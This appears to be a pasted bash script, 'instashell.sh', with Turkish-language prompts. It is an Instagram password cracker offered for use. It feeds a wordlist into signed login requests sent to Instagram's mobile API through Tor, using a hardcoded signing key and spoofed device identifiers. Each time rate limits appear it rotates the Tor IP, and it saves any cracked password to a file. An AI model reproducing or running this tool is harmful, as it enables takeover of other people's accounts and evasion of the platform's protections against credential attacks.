instashell.sh 3.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106
  1. #!/bin/bash
  2. # Coded by @thelinuxchoice (Instagram)
  3. checkroot() {
  4. if [[ "$(id -u)" -ne 0 ]]; then
  5. printf "\e[1;77mLütfen root olarak çalıştırın!\n\e[0m"
  6. exit 1
  7. fi
  8. }
  9. banner() {
  10. printf "\e[1;92m _ _ _ _ \e[0m\n"
  11. printf "\e[1;92m _ | | _ | | | || | \e[0m\n"
  12. printf "\e[1;92m( \ | | ____ ___ _| |_ _____ ___ | |__ _____ | || | \e[0m\n"
  13. printf "\e[1;92m ) )| || _ \ /___)(_ _)(____ | /___)| _ \ | ___ || || | \e[0m\n"
  14. printf "\e[1;77m(_/ | || | | ||___ | | |_ / ___ ||___ || | | || ____|| || | _____ \e[0m\n"
  15. printf "\e[1;77m |_||_| |_|(___/ \__)\_____|(___/ |_| |_||_____) \_)\_)(_____) \e[0m\n"
  16. printf "\n"
  17. printf "\e[1;77m\e[45m Instagram Şifre Kırıcı Programlayan: @thelinuxchoice\e[0m\n"
  18. printf "\n"
  19. }
  20. banner
  21. checkroot
  22. read -p $'\e[1;92mİnstegram Kullanıcı Adı: \e[0m' user
  23. read -p $'\e[1;92mParola Listesi: \e[0m' wl_pass
  24. checktor() {
  25. check=$(curl --socks5 localhost:9050 -s https://check.torproject.org > /dev/null; echo $?)
  26. if [[ "$check" -gt 0 ]]; then
  27. printf "\e[1;91mLütfen TOR servisini başlatın!\n\e[0m"
  28. exit 1
  29. fi
  30. }
  31. function changeip() {
  32. killall -HUP tor
  33. sleep 3
  34. }
  35. string8=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 8 | head -n 1)
  36. string4=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 4 | head -n 1)
  37. string12=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 12 | head -n 1)
  38. string16=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 16 | head -n 1)
  39. device="android-$string16"
  40. uuid=$(cat /dev/urandom | tr -dc 'az0-9' | fold -w 32 | head -n 1)
  41. phone="$string8-$string4-$string4-$string4-$string12"
  42. guid="$string8-$string4-$string4-$string4-$string12"
  43. var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
  44. var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3)
  45. #echo $var2
  46. function bruteforcer() {
  47. checktor
  48. for pass in $(cat $wl_pass); do
  49. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  50. data='{"phone_id":"$phone", "_csrftoken":"$var2", "username":"'$user'", "guid":"$guid", "device_id":"$device", "password":"'$pass'", "login_attempt_count":"0"}'
  51. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  52. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  53. printf "\e[1;77mParola Deneniyor\e[0m: %s\n" $pass
  54. check=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o '200\|challenge\|many tries\|Lütfen Bekleyin' | uniq)
  55. #echo $check
  56. if [[ "$check" == "200" ]]; then
  57. printf "\e[1;92m [*] Parola Bulundu: %s \n\e[0m" $pass
  58. printf "Kullanıcı Adı: %s, Parola: %s\n" $user $pass >> found.instashell
  59. printf "\e[1;92m [*] Kaydedilen:\e[0m\e[1;77m found.instashell \n\e[0m"
  60. exit 1
  61. fi
  62. if [[ "$check" == "challenge" ]]; then
  63. printf "\e[1;92m [*] Parola Bulundu: %s\n" $pass
  64. printf "\e[1;92m [*] Meydan okuma gerekli\n"
  65. printf "Username: %s, Parola: %s\n" $user $pass >> found.instashell
  66. printf "\e[1;92m [*] Kaydedilen:\e[0m\e[1;77m found.instashell \n\e[0m"
  67. exit 1
  68. fi
  69. if [[ "$check" == "many tries" ]]; then
  70. printf "\e[1;31m [*] IP Adresi Değiştiriliyor....\n\e[0m"
  71. changeip
  72. fi
  73. if [[ "$check" == "Lütfen Bekleyin" ]]; then
  74. printf "\e[1;31m [*] IP Adresi Değiştiriliyor...\n\e[0m"
  75. changeip
  76. fi
  77. done
  78. }
  79. bruteforcer